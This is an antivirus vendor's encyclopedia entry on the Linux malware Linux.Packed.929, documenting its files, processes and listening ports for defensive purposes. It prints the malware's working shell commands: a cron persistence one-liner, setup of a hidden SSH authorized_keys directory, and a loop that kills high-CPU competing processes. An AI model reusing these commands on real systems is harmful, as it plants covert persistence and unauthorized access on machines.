Для коректної роботи нашого сайта необхідно включити підтримку JavaScript у Вашому браузері.
Linux.Packed.929
Добавлен в вирусную базу Dr.Web:
2020-09-28
Описание добавлено:
2020-09-27
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
/var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
sh -c
whoami
grep -m 1 Port /etc/ssh/sshd_config
awk {print $2}
cat /etc/passwd
grep sync
awk -F: {print $6}
mkdir -p /bin /run/systemd/.ssh
chmod 700 /bin /run/systemd/.ssh
chmod 600 /bin /run/systemd/.ssh/authorized_keys
sh -c ps -A -osta
ps -A -osta
awk /[zZ]/ && !a[$2]++ {print $2}
sh -c dir=`pwd 2>/dev/null`;rm -rf $dir/.cron 2>/dev/null;crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep -v '<SAMPLE_FULL_PATH>' 2>/dev/null > .cron 2>/dev/null;echo '* * * * * '$dir/'<SAMPLE_FULL_PATH> > /dev/null 2>&1;' >> .cron 2>/dev/null; if [ $(crontab -l 2>/dev/null | grep -v grep 2>/dev/null | grep '<SAMPLE_FULL_PATH>$' 2>/dev/null | sort 2>/dev/null | uniq 2>/dev/null | wc -l 2>/dev/null) -eq '0' ]; then crontab $dir/.cron 2>/dev/null; fi;rm -rf $dir/.cron 2>/dev/null
rm -rf /root/.cron
crontab -l
grep -v grep
grep -v <SAMPLE_FULL_PATH>
grep <SAMPLE_FULL_PATH>$
sort
uniq
wc -l
crontab /root/.cron
sh -c if [ `id -u 2>/dev/null` -eq '0' ]; then if [ `ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps aux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi else myid=`whoami 2>/dev/null`; if [ `ps -u $myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | wc -l 2>/dev/null` -gt 1 ]; then ps -u $myid ux 2>/dev/null | grep -v grep 2>/dev/null | grep -- '[md][[:space:]]*$' 2>/dev/null | awk '{if($3>30.0) print $2}' 2>/dev/null | while read procid; do kill -9 $procid 2>/dev/null; done fi fi
id -u
ps aux
awk {if($3>30.0) print $2}
grep -- [md][[:space:]]*$
Performs operations with the file system:
Modifies file access rights:
/bin
/run/systemd/.ssh
/var/spool/cron/crontabs/tmp.xoaQf6
Creates folders:
Creates or modifies files:
/run/systemd/cert_key.pem
/run/systemd/cert.pem
/run/systemd/.cron
/var/spool/cron/.cron
/root/.cron
/var/spool/cron/crontabs/tmp.xoaQf6
/tmp/.lock
Deletes files:
Locks files:
Network activity:
Awaits incoming connections on ports:
0.0.0.0:80
0.0.0.0:3333
0.0.0.0:22022
Establishes connection:
DNS ASK:
Sends data to the following servers:
Receives data from the following servers:
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
Рекомендации по лечению
Linux
Демо бесплатно
На 1 месяц (без регистрации) или 3 месяца (с регистрацией и скидкой на продление)
Завантажте Dr.Web для Android
Безкоштовно на 3 місяці
Всі компоненти захисту
Подовження демо в AppGallery/Google Pay
Подальший перегляд даного сайта означає, що Ви погоджуєтесь на використання нами cookie-файлів та інших технологій збору статистичних відомостей про відвідувачів. Докладніше
OK